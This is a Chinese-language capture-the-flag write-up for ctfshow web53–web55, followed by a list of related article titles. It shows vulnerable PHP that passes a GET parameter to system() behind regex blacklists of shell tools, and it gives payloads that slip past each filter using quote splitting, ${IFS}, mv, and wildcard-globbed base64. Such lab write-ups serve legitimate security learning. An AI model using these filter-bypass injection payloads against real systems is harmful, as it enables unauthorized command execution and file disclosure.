文章目录

  • web53
  • web54
  • web55

web53

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}

这个过滤相对之前的来说,没有多过滤什么

不同之处在于,多了一个system() 并且对结果进行了回显

system会回显成功的最后一行输出结果

构造?c=ca''t${IFS}fla?.php
两个单引号’'绕过cat过滤,${IFS}绕过空格过滤,fla?绕过flag过滤

web54

 <?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

这个题过滤了很多东西,但是没有过滤mv命令。

先看一下目录下的文件?c=ls

然后利用mv命令

?c=mv${IFS}fla?.php${IFS}a.txt

然后访问/a.txt

web55

可以参考这个大佬的博客:https://blog.csdn.net/xiaolong22333/article/details/109480420

<?php// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

这个题把字母都过滤了

可以用bin下的base64命令(为啥用base64?因为它含有数字64可以用???64来匹配,其他命令无法匹配到)

?c=/???/????64 ????????

得到的东西base64解码即可得到flag

web入门 命令执行 web53-web55相关推荐

  1. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

  2. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  3. CTFSHOW web入门 命令执行+文件包含+PHP特性

    刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...

  4. ctfhsow web入门 命令执行大全

    目录 web-29 web-30 web-31 web-32 web33-36 web-37 web-38 web-39 web-40 web-41 web-42 web-43 web-44 web4 ...

  5. ctfshow web入门 命令执行:55-57

    刷题记录. 目录 web55 web56 web57 web55 关键源码: // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match ...

  6. web入门 命令执行 web29-web41

    文章目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 参考文章:命令执行绕过小技巧.命令 ...

  7. web入门 命令执行 web42-web52

    文章目录 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 从42题之后,就跟前面的类型不一样了,之前是eval( c ...

  8. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  9. CTFshow入门命令执行29

    打开环境分析题目: <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/f ...

最新文章

  1. 数学之美——统计语言模型
  2. 最优化算法python实现篇(4)——无约束多维极值(梯度下降法)
  3. java 标记_java的标记算法
  4. spark 性能优化
  5. 没想到,区块链竟然是这样的!
  6. android使用地图编程,基于Android实现百度地图定位过程详解
  7. 0308·付费专栏销售排行榜
  8. 博图os更新_博途V14的新功能(通过U盘给第二代的精智及精简屏传输组态)
  9. 计算机键盘中英文,苹果电脑键盘上的【⌘】键用英文怎么表达?和露营地又有什么关系...
  10. mysql创建唯一非聚集索引_创建聚集索引、非聚集索引、唯一索引、唯一键约束...
  11. oracle中date错误,ORA-01830: date format picture ends before converting entire input string
  12. 计算机信息工程专业工资,2020年工科类专业薪资最新排名,计算机很吃香,工资水平最高...
  13. 广州特耐苏-广州风淋通道构造及特点
  14. php 算生存曲线,生存曲线比较:KM法及Log Rank检验(实例+SPSS)
  15. Gin Web 网络框架
  16. 《视搭》开源视频创作工具,保姆级搭建教程,短视频创作利器
  17. excel矩阵小tips
  18. HDU 2121 Ice_cream’s world II(最小树形图+虚根)
  19. VB6 Treeview的添加节点子节点、Treeview打开、Treeview关闭
  20. 光明勇士服务器一直维护中,光明勇士一人双职业利弊分析 到底好还是不好

热门文章

  1. 计算机网络笔记1 计算机网络概述
  2. 15.6课后习题(Java Web程序设计)
  3. 【Java接口】限制App登录次数
  4. 如何将Oracle11g卸载干净
  5. SQL 中的时间格式
  6. 车联网赋能末端物流自动驾驶探索
  7. win10 Python3.9.5安装报错0x80070652
  8. ROS教程:视觉传感器使用漫谈
  9. wxpy实现微信机器人
  10. ctfshow 萌xin赛